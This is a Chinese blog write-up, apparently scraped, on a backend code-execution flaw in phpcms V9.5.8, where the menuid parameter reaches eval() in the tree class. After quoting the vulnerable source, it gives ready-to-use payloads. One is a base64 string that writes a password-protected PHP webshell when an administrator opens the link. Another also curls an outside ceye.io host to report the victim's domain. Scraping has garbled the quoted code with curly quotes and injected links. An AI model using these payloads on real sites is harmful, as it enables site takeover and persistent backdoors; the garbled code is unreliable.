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phpcmsV9.5.8 后台拿shell

参考url:https://xianzhi.aliyun.com/forum/read/1507.html

poc:index.php??m=content&c=content&a=public_categorys&menuid=${@phpinfo()}

根据拿到的poc,phpcms的mvc结构,代码位于/phpcms/modules/content/content.php  第472-532行

	public function public_categorys() {
		$show_header = ‘‘;
		$cfg = getcache(‘common‘,‘commons‘);
		$ajax_show = intval($cfg[‘category_ajax‘]);
		$from = isset($_GET[‘from‘]) && in_array($_GET[‘from‘],array(‘block‘)) ? $_GET[‘from‘] : ‘content‘;
		$tree = pc_base::load_sys_class(‘tree‘);
		if($from==‘content‘ && $_SESSION[‘roleid‘] != 1) {	
			$this->priv_db = pc_base::load_model(‘category_priv_model‘);
			$priv_result = $this->priv_db->select(array(‘action‘=>‘init‘,‘roleid‘=>$_SESSION[‘roleid‘],‘siteid‘=>$this->siteid,‘is_admin‘=>1));
			$priv_catids = array();
			foreach($priv_result as $_v) {
				$priv_catids[] = $_v[‘catid‘];
			}
			if(empty($priv_catids)) return ‘‘;
		}
		$categorys = array();
		if(!empty($this->categorys)) {
			foreach($this->categorys as $r) {
				if($r[‘siteid‘]!=$this->siteid ||  ($r[‘type‘]==2 && $r[‘child‘]==0)) continue;
				if($from==‘content‘ && $_SESSION[‘roleid‘] != 1 && !in_array($r[‘catid‘],$priv_catids)) {
					$arrchildid = explode(‘,‘,$r[‘arrchildid‘]);
					$array_intersect = array_intersect($priv_catids,$arrchildid);
					if(empty($array_intersect)) continue;
				}
				if($r[‘type‘]==1 || $from==‘block‘) {
					if($r[‘type‘]==0) {
						$r[‘vs_show‘] = "<a href=http://www.mamicode.com/‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."&type=show‘ target=‘right‘>[".L(‘content_page‘)."]</a>";
					} else {
						$r[‘vs_show‘] =‘‘;
					}
					$r[‘icon_type‘] = ‘file‘;
					$r[‘add_icon‘] = ‘‘;
					$r[‘type‘] = ‘add‘;
				} else {
					$r[‘icon_type‘] = $r[‘vs_show‘] = ‘‘;
					$r[‘type‘] = ‘init‘;
					$r[‘add_icon‘] = "<a target=‘right‘ href=http://www.mamicode.com/‘?m=content&c=content&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."‘ onclick=javascript:openwinx(‘?m=content&c=content&a=add&menuid=".$_GET[‘menuid‘]."&catid=".$r[‘catid‘]."&hash_page=".$_SESSION[‘hash_page‘]."‘,‘‘)><img src=http://www.mamicode.com/‘".IMG_PATH."add_content.gif‘ alt=‘".L(‘add‘)."‘></a> ";
				}
				$categorys[$r[‘catid‘]] = $r;
			}
		}
		if(!empty($categorys)) {
			$tree->init($categorys);
				switch($from) {
					case ‘block‘:
						$strs = "<span class=‘\$icon_type‘>\$add_icon<a href=http://www.mamicode.com/‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=\$catid&type=list‘ target=‘right‘>\$catname</a> \$vs_show</span>";
						$strs2 = "<img src=http://www.mamicode.com/‘".IMG_PATH."folder.gif‘> <a href=http://www.mamicode.com/‘?m=block&c=block_admin&a=public_visualization&menuid=".$_GET[‘menuid‘]."&catid=\$catid&type=category‘ target=‘right‘>\$catname</a>";
					break;

					default:
						$strs = "<span class=‘\$icon_type‘>\$add_icon<a href=http://www.mamicode.com/‘?m=content&c=content&a=\$type&menuid=".$_GET[‘menuid‘]."&catid=\$catid‘ target=‘right‘ onclick=‘open_list(this)‘>\$catname</a></span>";
						$strs2 = "<span class=‘folder‘>\$catname</span>";
						break;
				}
			$categorys = $tree->get_treeview(0,‘category_tree‘,$strs,$strs2,$ajax_show);
		} else {
			$categorys = L(‘please_add_category‘);
		}
        include $this->admin_tpl(‘category_tree‘);
		exit;
	}

  

在当前函数开始下个断点

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跟到526行:

$categorys = $tree->get_treeview(0,‘category_tree‘,$strs,$strs2,$ajax_show);

  

进入了get_treeview()函数,跟入进去,

函数位于 /phpcms/libs/classes/tree.class.php  第206-239行。

 

* @param $myid 表示获得这个ID下的所有子级
* @param $effected_id 需要生成treeview目录数的id
* @param $str 末级样式
* @param $str2 目录级别样式
* @param $showlevel 直接显示层级数,其余为异步显示,0为全部限制
* @param $style 目录样式 默认 filetree 可增加其他样式如‘filetree treeview-famfamfam‘
* @param $currentlevel 计算当前层级,递归使用 适用改函数时不需要用该参数
* @param $recursion 递归使用 外部调用时为FALSE
   function get_treeview($myid,$effected_id=‘example‘,$str="<span class=‘file‘>\$name</span>", $str2="<span class=‘folder‘>\$name</span>" ,$showlevel = 0 ,$style=‘filetree ‘ , $currentlevel = 1,$recursion=FALSE) {
        $child = $this->get_child($myid);
        if(!defined(‘EFFECTED_INIT‘)){
           $effected = ‘ id="‘.$effected_id.‘"‘;
           define(‘EFFECTED_INIT‘, 1);
        } else {
           $effected = ‘‘;
        }
		$placeholder = 	‘<ul><li><span class="placeholder"></span></li></ul>‘;
        if(!$recursion) $this->str .=‘<ul‘.$effected.‘  class="‘.$style.‘">‘;
        foreach($child as $id=>$a) {

        	@extract($a);
			if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = ‘hasChildren‘; //如设置显示层级模式@2011.07.01
        	$floder_status = isset($folder) ? ‘ class="‘.$folder.‘"‘ : ‘‘;		
            $this->str .= $recursion ? ‘<ul><li‘.$floder_status.‘ id=\‘‘.$id.‘\‘>‘ : ‘<li‘.$floder_status.‘ id=\‘‘.$id.‘\‘>‘;
            $recursion = FALSE;
            if($this->get_child($id)){
            	eval("\$nstr = \"$str2\";");
            	$this->str .= $nstr;
                if($showlevel == 0 || ($showlevel > 0 && $showlevel > $currentlevel)) {
					$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);
				} elseif($showlevel > 0 && $showlevel == $currentlevel) {
					$this->str .= $placeholder;
				}
            } else {
                eval("\$nstr = \"$str\";");
                $this->str .= $nstr;
            }
            $this->str .=$recursion ? ‘</li></ul>‘: ‘</li>‘;
        }
        if(!$recursion)  $this->str .=‘</ul>‘;
        return $this->str;
    }
	

  这里有个判断:

if($this->get_child($id))

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当第一次执行为ture的时候,还是会再次执行get_treeview的内容

$this->get_treeview($id, $effected_id, $str, $str2, $showlevel, $style, $currentlevel+1, TRUE);

第二次执行的时候$myid由0变成了1,

下图的$myid是 $id的值

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 这时候的$newarr为空,

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if就不执行,转而执行elseif和else,而$str包含着menuid的值,也就是${@phpinfo()} ,这时候eval() 就执行了php代码。

 

 

这要管理员权限才能代码执行,修改下payload,管理员一访问就在当前域名的首页路径下生成shell。

/index.php?m=content&c=content&a=public_categorys&menuid=${@(assert(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycpOw)))} 

 密码1

 

还有另一种payload,会回显的提醒。

自动curl请求你的域名,然后回显网站url

print_r(base64_encode("fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval(\$_POST[2]);‘);system(‘curl ‘.\$_SERVER[\"SERVER_NAME\"].‘4321.nrcuf9.ceye.io‘);"));

  先输出base64的地址,然后在替换下面的字符串

/index.php?m=content&c=content&a=public_categorys&menuid=(${@(assert(eval(base64_decode(ZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbMl0pOycpO3N5c3RlbSgnY3VybCAnLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLic0MzIxLm5yY3VmOS5jZXllLmlvJyk7))))})

 

这个字符串有几个点提醒下自己, assert()函数执行执行一句php代码,所以在assert前面加个eval,执行多条语句。

如果有读者读到这篇,求告知php的${} 作用。

 

phpcmsV9.5.8 后台拿shell